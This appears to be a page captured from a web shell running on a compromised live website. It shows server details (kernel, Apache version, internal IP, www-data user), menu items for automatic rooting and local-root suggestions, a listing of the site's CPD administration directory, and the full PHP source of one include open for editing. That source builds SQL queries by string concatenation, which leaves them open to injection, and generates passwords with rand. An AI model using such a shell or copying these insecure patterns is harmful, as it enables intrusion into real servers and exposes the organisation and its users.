Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
cpdadmin /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-sr-x
2025-06-24 07:20
assessordocs
[ DIR ]
drwxr-sr-x
2026-03-23 08:03
calendar
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
certificates
[ DIR ]
drwxrwsr-x
2026-08-25 05:49
ckeditor
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
images
[ DIR ]
drwxr-sr-x
2022-04-19 07:59
js
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
lang
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
providerdocs
[ DIR ]
drwxr-sr-x
2026-08-12 07:21
txt
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
uploads
[ DIR ]
drwxr-sr-x
2026-08-17 12:51
yui280
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
CESA_CPD.css
10.23
KB
-rw-r--r--
2022-04-19 06:59
CPDAdminUsersadd.php
28.52
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersdelete.php
20.94
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersedit.php
29.37
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersinfo.php
24.37
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUserslist.php
58.77
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersview.php
40.59
KB
-rw-r--r--
2022-09-15 19:16
CPDAssessors_CVFile_bv.php
6.5
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document1_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document2_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document3_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_NDAFile_bv.php
6.52
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_QualificationFile_bv.php
6.63
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsadd.php
77.14
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsdelete.php
28.85
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsedit.php
92.45
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsinfo.php
30.15
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorslist.php
73.5
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsview.php
69.35
KB
-rw-r--r--
2023-04-21 10:09
CPDProviderDocs_DocFile_bv.php
8.02
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsadd.php
40.38
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsdelete.php
24.9
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsedit.php
46.12
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsinfo.php
25.55
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocslist.php
84.13
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsview.php
56.09
KB
-rw-r--r--
2023-02-27 12:50
CPDSPReview_ReviewChecklist_bv.php
6.74
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReview_ReviewFile1_bv.php
6.69
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReview_ReviewFile2_bv.php
6.69
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReviewadd.php
54.32
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewdelete.php
25.1
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewedit.php
64.65
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewinfo.php
28.05
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewlist.php
69.12
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewview.php
51.23
KB
-rw-r--r--
2023-03-08 12:02
CPDServiceProvider_AccountabilityStructure_bv.php
7.13
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_CPDActivities_bv.php
7.02
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_EvaluatorInvoice_bv.php
7.34
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_EvaluatorTimesheet_bv.php
7.36
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_InvoiceFile_bv.php
7.28
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_LearnerAssessProcedure_bv.php
7.12
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_OtherVACPDSPNumberCertificate_bv.php
7.49
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_PrevSPNumberCertificate_bv.php
7.42
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_ProofOfPayment_bv.php
7.31
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvideradd.php
219.49
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderdelete.php
60.68
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProvideredit.php
244.46
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderinfo.php
51.93
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderlist.php
204.5
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProvidermaster.php
7.74
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProviderview.php
166.72
KB
-rw-r--r--
2025-04-16 15:56
CPDStepsTakenTMadd.php
33.05
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMdelete.php
24.02
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMedit.php
39.11
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMinfo.php
26.47
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMlist.php
67.53
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMview.php
42.7
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenadd.php
27.91
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakendelete.php
21.87
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenedit.php
34
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakeninfo.php
24.84
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenlist.php
102.44
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenview.php
39.89
KB
-rw-r--r--
2022-09-15 21:50
CPDTMReviewadd.php
68.75
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewdelete.php
30.53
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewedit.php
68.14
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewinfo.php
30.75
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewlist.php
76.95
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewview.php
58.41
KB
-rw-r--r--
2022-09-15 19:16
CPDTrainingMaterial_ActivityProgramme_bv.php
6.92
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_AssessmentDoc_bv.php
6.87
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_CourseBrochure_bv.php
6.88
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_EvaluatorInvoice_bv.php
6.91
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_EvaluatorTimesheet_bv.php
6.93
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_FeedbackForm_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_InvoiceFile_bv.php
6.85
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_LearningOutcomesFile_bv.php
6.95
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter1CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter1IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter1SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_Presenter2CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter2IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter2SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_Presenter3CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter3IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter3SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_ProofOfPayment_bv.php
6.88
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterialadd.php
312.71
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialdelete.php
69.75
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialedit.php
367.27
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialinfo.php
61.66
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMateriallist.php
220.65
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialmaster.php
5.84
KB
-rw-r--r--
2024-09-18 11:13
CPDTrainingMaterialview.php
222.22
KB
-rw-r--r--
2025-05-20 07:41
SpryMenuBarHorizontal.css
5.52
KB
-rw-r--r--
2022-04-19 06:59
SpryMenuBarVertical.css
4.52
KB
-rw-r--r--
2022-04-19 06:59
changepwd.php
10.52
KB
-rw-r--r--
2023-02-11 10:44
cstReviewProgressinfo.php
21.94
KB
-rw-r--r--
2022-09-15 19:16
cstReviewProgresslist.php
65.64
KB
-rw-r--r--
2022-09-15 19:16
echasl23add.php
29.32
KB
-rw-r--r--
2022-09-15 21:50
echasl23delete.php
21.56
KB
-rw-r--r--
2022-09-15 21:50
echasl23edit.php
31.02
KB
-rw-r--r--
2022-09-15 21:50
echasl23info.php
24.92
KB
-rw-r--r--
2022-09-15 21:50
echasl23list.php
70.56
KB
-rw-r--r--
2022-09-15 21:50
echasl23srch.php
32.07
KB
-rw-r--r--
2022-09-15 21:50
echasl23view.php
39.44
KB
-rw-r--r--
2022-09-15 21:50
ewbv7.php
1.88
KB
-rw-r--r--
2022-04-19 06:59
ewcfg7.php
68.37
KB
-rw-r--r--
2026-08-24 10:13
ewemail7.php
1.87
KB
-rw-r--r--
2022-04-19 06:59
ewlookup7.php
2.8
KB
-rw-r--r--
2022-04-19 06:59
ewmenu.php
2.14
KB
-rw-r--r--
2024-09-18 11:13
ewmysql7.php
29.43
KB
-rw-r--r--
2026-08-20 18:36
ewshared7.php
26.13
KB
-rw-r--r--
2023-03-08 11:59
footer.php
2.48
KB
-rw-r--r--
2025-06-24 07:24
forgotpwd.php
13.11
KB
-rw-r--r--
2023-02-11 10:44
genspcertificate.php
2.74
KB
-rw-r--r--
2025-07-14 12:09
gentmcertificate.php
4.46
KB
-rw-r--r--
2025-09-12 09:17
header.php
5.62
KB
-rw-r--r--
2022-04-19 08:00
inc_functions.php
15.82
KB
-rw-r--r--
2026-08-14 12:06
index.php
6.01
KB
-rw-r--r--
2023-02-11 10:44
login.php
18.09
KB
-rw-r--r--
2023-02-11 10:44
logout.php
6.14
KB
-rw-r--r--
2023-03-10 10:31
php_errors.log
36.69
KB
-rw-r--r--
2026-08-20 18:36
phpfn7.php
142.58
KB
-rw-r--r--
2026-08-24 10:13
userfn7.php
355
B
-rw-r--r--
2023-02-10 11:50
userlevelpermissionsadd.php
27.07
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsdelete.php
19.54
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsedit.php
26.11
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsinfo.php
21.32
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionslist.php
67.92
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionssrch.php
21.52
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsview.php
36.58
KB
-rw-r--r--
2022-09-15 19:16
userlevelsadd.php
24.5
KB
-rw-r--r--
2022-09-15 19:16
userlevelsdelete.php
16.89
KB
-rw-r--r--
2022-09-15 19:16
userlevelsedit.php
20.2
KB
-rw-r--r--
2022-09-15 19:16
userlevelsinfo.php
18.72
KB
-rw-r--r--
2022-09-15 19:16
userlevelslist.php
58.24
KB
-rw-r--r--
2022-09-15 19:16
userlevelsmaster.php
1.69
KB
-rw-r--r--
2022-09-15 19:16
userlevelssrch.php
17.79
KB
-rw-r--r--
2022-09-15 19:16
userlevelsview.php
32.56
KB
-rw-r--r--
2022-09-15 19:16
userpriv.php
14.51
KB
-rw-r--r--
2023-02-11 10:44
vwCPD_SPExpiredNotRenewedinfo.php
49.76
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPExpiredNotRenewedlist.php
129.54
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPExpiredNotRenewedmaster.php
10.96
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestinfo.php
53.45
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestlist.php
130.76
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestmaster.php
14.99
KB
-rw-r--r--
2024-09-18 11:03
xenon.css
0
B
-rw-r--r--
2025-06-24 07:25
Save
Rename
<?php require_once $_SERVER['DOCUMENT_ROOT'] . '/phpmailer/PHPMailer.php'; require_once $_SERVER['DOCUMENT_ROOT'] . '/phpmailer/SMTP.php'; require_once $_SERVER['DOCUMENT_ROOT'] . '/phpmailer/Exception.php'; include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/maill.php'); include_once($_SERVER['DOCUMENT_ROOT'] . '/cesanet/inc_shared.php'); use PHPMailer\PHPMailer\PHPMailer; $conni = mysqli_connect(EW_CONN_HOST, EW_CONN_USER, EW_CONN_PASS, EW_CONN_DB); if (isset($_SESSION["NewPwdRequired"]) && ($_SESSION["NewPwdRequired"] === true) && !in_array(basename($_SERVER["REQUEST_URI"]), array("changepwd.php", "forgotpwd.php", "login.php", "logout.php"))) CheckPasswordChanged($_SESSION[EW_SESSION_USER_NAME]); $sPDFHeaderHTML = "<html><head> <style> .printhide { display:none; } </style> </head> <body> "; $sPDFFooterHTML = "</body></html>"; if (!function_exists("get_magic_quotes_runtime")) { function get_magic_quotes_runtime() { return 0; } } if (!function_exists("set_magic_quotes_runtime")) { function set_magic_quotes_runtime($i) { return true; } } if (!function_exists("get_magic_quotes_gpc")) { function get_magic_quotes_gpc() { return false; } } if (!function_exists("maill")) { function maill($to, $subject, $message, $uploadfile1 = "", $sFrom = "patience@cesa.co.za", $bHtml = false) { $mail = new PHPMailer; $mail->IsMail(); // use PHP mail function $mail->From = $sFrom; $mail->FromName = "CPD Verification"; $to = str_replace(";", ",", $to); $arrto = explode(",", $to); for ($ito = 0; $ito < count($arrto); $ito++) { if (!empty($arrto[$ito])) $mail->AddAddress(trim($arrto[$ito])); } $mail->Subject = $subject; $mail->IsHtml($bHtml); $mail->Body = $message; if (!empty($uploadfile1)) { $mail->AddAttachment($uploadfile1, basename($uploadfile1)); } $mail->Send(); } } function GenPassword() { // Password generation $length = 8; // Must be a multiple of 2 $conso = array("b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "r", "s", "t", "v", "w", "x", "y", "z"); $vocal = array("a", "e", "i", "o", "u"); $password = ""; srand((float) microtime() * 1000000); $max = $length / 2; for ($i = 1; $i <= $max; $i++) { $password .= $conso[rand(0, 19)]; $password .= $vocal[rand(0, 4)]; } return $password; } function GenStrongPassword() { // Password generation $length = 6; // Must be a multiple of 2 $upper = array("B", "C", "D", "F", "G", "H"); $special = array("!", "@", "#", "$", "%", "&", "*"); $conso = array("b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "r", "s", "t", "v", "w", "x", "y", "z"); $vocal = array("a", "e", "i", "o", "u"); $password = ""; srand((float) microtime() * 1000000); $max = $length / 2; for ($i = 1; $i <= $max; $i++) { $password .= $conso[rand(0, 19)]; $password .= $vocal[rand(0, 4)]; } return $upper[rand(0, 5)] . $password . $special[rand(0, 6)]; } function isStrongPassword($password) { $uppercase = preg_match('@[A-Z]@', $password); $lowercase = preg_match('@[a-z]@', $password); $number = preg_match('@[0-9]@', $password); $specialChars = preg_match('@[^\w]@', $password); if (!$uppercase || !$lowercase || !$number || !$specialChars || strlen($password) < 8) { return false; } else { return true; } } function CheckPasswordChanged($usr) { global $conni; /* $sql="SELECT pwdchanged FROM CPDAdminUsers WHERE adminusername='".mysqli_escape_string($conni, $usr)."'"; $rec=mysqli_query($conni, $sql); if ($row=mysqli_fetch_assoc($rec)) { if (empty($row["pwdchanged"]) || (strtotime($row["pwdchanged"])<strtotime("-3 months"))) { $_SESSION[EW_SESSION_MESSAGE]="Your password was last changed more than 3 months ago. Please create a new password now."; $_SESSION["NewPwdRequired"]=true; header("Location: ".URLROOT."changepwd.php"); die(); } } else { */ $_SESSION["NewPwdRequired"] = false; // } } function AddTopSaveButton($pageobj, $formname) { $pageobj->setMessage("<input type='button' value='Save' onClick='javascript:document.getElementById(\"" . $formname . "\").submit()'>"); } function CPDSPReviewDone($rs) { global $conni; $iSPID = $rs["CPDProviderID"]; $iRID = $rs["CPDSPRID"]; if (empty($iRID)) $iRID = $_REQUEST["x_CPDSPRID"]; // echo 'Please ignore debug info:'; // var_dump($rs); // exit; if ($rs["ReviewOutcome"] == "A" && (empty($rs["SPNumber"]) || ($rs["SPNumber"] == "Declined"))) { $sAccredNum = ""; $sql = "SELECT ConfigValue FROM Config WHERE ConfigName='NextSPNum'"; $rec = mysqli_query($conni, $sql); if ($row = mysqli_fetch_assoc($rec)) { $iAccredNum = intval($row["ConfigValue"]); $dtValidUntil = date("Y-m-d", strtotime("+3 years", strtotime($rs["ApprovedFrom"]))); $sAccredNum = "CESA-SPV-" . substr("000" . $iAccredNum, -4) . "-" . date("m", strtotime($dtValidUntil)) . "/" . date("Y", strtotime($dtValidUntil)); $sql = "UPDATE Config SET ConfigValue='" . (intval($iAccredNum) + 1) . "' WHERE ConfigName='NextSPNum'"; mysqli_query($conni, $sql); } mysqli_free_result($rec); $sql = "UPDATE CPDServiceProvider SET SPNumber='" . $sAccredNum . "', Approved='A', DateAssessed='" . $rs["ApprovedFrom"] . "', DateExpires='" . date("Y-m-d", strtotime("+3 years", strtotime($rs["ApprovedFrom"]))) . "' WHERE CPDProviderID=" . $iSPID; mysqli_query($conni, $sql); $sql = "UPDATE CPDSPReview SET SPNumber='" . $sAccredNum . "' WHERE CPDSPRID=" . $iRID; mysqli_query($conni, $sql); if (!empty($sFilename)) { $sql = "SELECT CompanyName, ContactFirstName, ContactSurname, ContactEmail FROM CPDServiceProvider WHERE CPDProviderID=" . $iSPID; $rec = mysqli_query($conni, $sql); if ($row = mysqli_fetch_assoc($rec)) { if (!empty($row["ContactEmail"]) && ($rs["SendCertificate"] == 1)) { $sTo = $row["ContactEmail"] . ",cpdverification@cesa.co.za"; //$sTo="julia@xe.co.za"; $sMsg = "<p>Dear " . $row["ContactFirstName"] . " " . $row["ContactSurname"] . ",</p> <p>Your application for " . $row["CompanyName"] . " to be verified as an ECSA Service Provider was successful.</p> <p>Your Service Provider Verification Number is: " . $sAccredNum . "</p> <p>Please find your certificate attached.</p> <p>Kind regards,<br> CPD Verification Assessments<br> CESA</p>"; maill($sTo, "Approved: Application to be verified as an ECSA Service Provider", $sMsg, $_SERVER['DOCUMENT_ROOT'] . "/cpdadmin/certificates/" . $sFilename, "cpd@cesa.co.za", true); } } mysqli_free_result($rec); } } if ($rs["ReviewOutcome"] == "A") { //Always regenerate the certificate $sFilename = ""; include_once($_SERVER['DOCUMENT_ROOT'] . "/cpdadmin/genspcertificate.php"); $sql = "UPDATE CPDSPReview SET CertificateFile='" . $sFilename . "' WHERE CPDSPRID=" . $iRID; mysqli_query($conni, $sql); } if (($rs["ReviewOutcome"] == "D") && ($rs["SPNumber"] != "Declined")) { $sAccredNum = "Declined"; $sql = "UPDATE CPDSPReview SET CertificateFile='', SPNumber='" . $sAccredNum . "' WHERE CPDSPRID=" . $iRID; mysqli_query($conni, $sql); $sql = "UPDATE CPDServiceProvider SET SPNumber='" . $sAccredNum . "', Approved='D', DateAssessed='" . date("Y-m-d") . "', DateExpires=NULL WHERE CPDProviderID=" . $iSPID; mysqli_query($conni, $sql); $sql = "SELECT CompanyName, ContactFirstName, ContactSurname, ContactEmail FROM CPDServiceProvider WHERE CPDProviderID=" . $iSPID; $rec = mysqli_query($conni, $sql); if ($row = mysqli_fetch_assoc($rec)) { if (!empty($row["ContactEmail"])) { $sTo = $row["ContactEmail"] . ",cpdverification@cesa.co.za"; //$sTo="julia@xe.co.za"; $sMsg = "<p>Dear " . $row["ContactFirstName"] . " " . $row["ContactSurname"] . ",</p> <p>Your application for " . $row["CompanyName"] . " to be verified as an ECSA Service Provider was unfortunately not successful.</p> <p>Please contact us at cpdverification@cesa.co.za for more information.</p> <p>Kind regards,<br> CPD Verification Assessments<br> CESA</p>"; maill($sTo, "Declined: Application to be verified as an ECSA Service Provider", $sMsg, "", "cpd@cesa.co.za", true); } } mysqli_free_result($rec); } } function CPDTMReviewDone($rs) { global $conni; $iMID = $rs["MaterialID"]; $sql = "SELECT `Status`, AccredNum, DateExpires FROM CPDTrainingMaterial WHERE MaterialID=" . $iMID; $rec = mysqli_query($conni, $sql); if ($row = mysqli_fetch_assoc($rec)) { if (($row["Status"] == "Approved") && (($row["AccredNum"] == "Pending") || empty($row["AccredNum"]))) { $dtValidUntil = date("Y-m-d", strtotime($row["DateExpires"])); $sAccredNum = ""; $sql = "SELECT ConfigValue FROM Config WHERE ConfigName='NextAccredNum'"; // echo $sql."<br>"; $rec = mysqli_query($conni, $sql); if ($row = mysqli_fetch_assoc($rec)) { $iAccredNum = intval($row["ConfigValue"]); $sAccredNum = "CESA-" . substr("000" . $iAccredNum, -4) . "-" . date("m", strtotime($dtValidUntil)) . "/" . date("Y", strtotime($dtValidUntil)); $sql = "UPDATE CPDTrainingMaterial SET AccredNum='" . $sAccredNum . "' WHERE MaterialID=" . $iMID; mysqli_query($conni, $sql); $sql = "UPDATE Config SET ConfigValue='" . (intval($iAccredNum) + 1) . "' WHERE ConfigName='NextAccredNum'"; // echo $sql."<br>"; mysqli_query($conni, $sql); } mysqli_free_result($rec); } } } function CPDTrainingMaterialListOptions_Load(&$obj) { $obj->ListOptions->Add("new"); } function CPDTrainingMaterialListOptions_Rendered(&$obj) { global $CPDTrainingMaterial; //var_dump($obj); if (($CPDTrainingMaterial->Status->CurrentValue == 'Approved') && !empty($CPDTrainingMaterial->AccredNum->CurrentValue)) $obj->ListOptions->Items["new"]->Body = "<span class='phpmaker'><a href='gentmcertificate.php?id=" . $CPDTrainingMaterial->MaterialID->CurrentValue . "' target='_blank'>Certificate</a></span>"; } function CPDGetProviderID() { global $conni; $iProvID = 0; // Get the master/detail MaterialID session value, so we can choose the right provider // for the current training material parent record $sWhere = $_SESSION[EW_PROJECT_NAME . "_CPDTMReview_" . EW_TABLE_MASTER_FILTER]; if (!empty($sWhere)) { $sql = "SELECT ProviderID FROM CPDTrainingMaterial WHERE " . $sWhere; $rec = mysqli_query($conni, $sql); if ($row = mysqli_fetch_assoc($rec)) { $iProvID = $row["ProviderID"]; } mysqli_free_result($rec); } return $iProvID; } // These are the events for the CPDTMReview table function sendReviewApprovedNotifications($rs) { global $conni; // database connection object $subject = 'Unknown'; $sql = "SELECT MaterialID, Subject, AccredNum FROM CPDTrainingMaterial " . "WHERE MaterialID = " . $rs['MaterialID']; $rec = mysqli_query($conni, $sql); if ($material = mysqli_fetch_assoc($rec)) { $subject = $material['Subject']; if (strlen($subject) > 0) { $subject .= ' - '; } $subject .= $material['AccredNum']; } $sql = "SELECT * FROM CPDAdminUsers " . "WHERE activated = 1 AND level = -1 " . "GROUP BY email"; $rec = mysqli_query($conni, $sql); while ($user = mysqli_fetch_assoc($rec)) { $message = 'The following training material has been reviewed and approved: ' . $subject . "\r\n\r\n" . 'Click here to view the Training Material: https://www.cesa.co.za/cpdadmin/CPDTrainingMaterialview.php?MaterialID=' . $rs['MaterialID']; maill($user['email'], 'Training material review Approved', $message, '', 'cpd@cesa.co.za'); } } function updateTrainingMaterialStatus($status, $materialID) { global $conni; // database connection object $trainingMaterialStatus = 'Pending'; $setDate = ''; if (in_array($status, array("a", "c"))) { $trainingMaterialStatus = 'Approved'; $setDate = ', DateApproved = NOW() '; } elseif (in_array($status, array("d"))) { $trainingMaterialStatus = 'Declined'; } $sql = "UPDATE CPDTrainingMaterial " . "SET Status = '" . $trainingMaterialStatus . "' " . $setDate . "WHERE MaterialID = " . $materialID; $rec = mysqli_query($conni, $sql); if (!is_resource($rec)) { //something went wrong } return $trainingMaterialStatus; } function CPDTMReview_Inserted($rs) { // Update the status of CPDTrainingMaterial to match the status saved by the reviewer // If $rs["Status"] == "a" or "c" then it is approved, // so set CPDTrainingMaterial.Status to the text string "Approved", and CPDTrainingMaterial.DateApproved to now // where CPDTrainingMaterial.MaterialID = $rs["MaterialID"] // If it is declined ("d") then the Status text should be "Declined" $newStatus = updateTrainingMaterialStatus($rs["FinalStatus"], $rs['MaterialID']); if ($newStatus == 'Approved') { sendReviewApprovedNotifications($rs); } } function CPDTMReview_Updated($rsold, $rsnew) { $newStatus = updateTrainingMaterialStatus($rsnew["FinalStatus"], $rsold['MaterialID']); // echo $newStatus; // exit; if ($newStatus == 'Approved' && $rsold["FinalStatus"] != $rsnew["FinalStatus"]) { sendReviewApprovedNotifications($rsold); } } function CPDFilterAssessorList() { global $Security; if ($Security->CurrentUserLevelID() == 11) { // Reviewers return "CPDAssessors.adminusername='" . addslashes($Security->CurrentUserName()) . "' AND CPDAssessors.Active=1"; } else { return "CPDAssessors.Active=1"; } } function CPDCurrentAssessorID() { global $conni, $Security; if ($Security->CurrentUserLevelID() == 11) { // Reviewers $sql = "SELECT CPDAssessorID FROM CPDAssessors WHERE adminusername='" . addslashes($Security->CurrentUserName()) . "' AND `Active`=1"; $rec = mysqli_query($conni, $sql); if ($row = mysqli_fetch_assoc($rec)) { return $row["CPDAssessorID"]; } else { return "0"; } } else { return ""; } } function CPDFilterTMForAssessor() { global $conni, $Security; if ($Security->CurrentUserLevelID() == 11) { // Reviewers $iID = CPDCurrentAssessorID(); return "(CPDTrainingMaterial.EvaluatorID=" . $iID . " OR CPDTrainingMaterial.EvaluatorID2=" . $iID . " OR CPDTrainingMaterial.EvaluatorID3=" . $iID . ")"; } else { return ""; } } function CPDFilterTMReviews() { global $conni, $Security; if ($Security->CurrentUserLevelID() == 11) { // Reviewers $iID = CPDCurrentAssessorID(); return "CPDTMReview.CPDAssessorID=" . $iID; } else { return ""; } }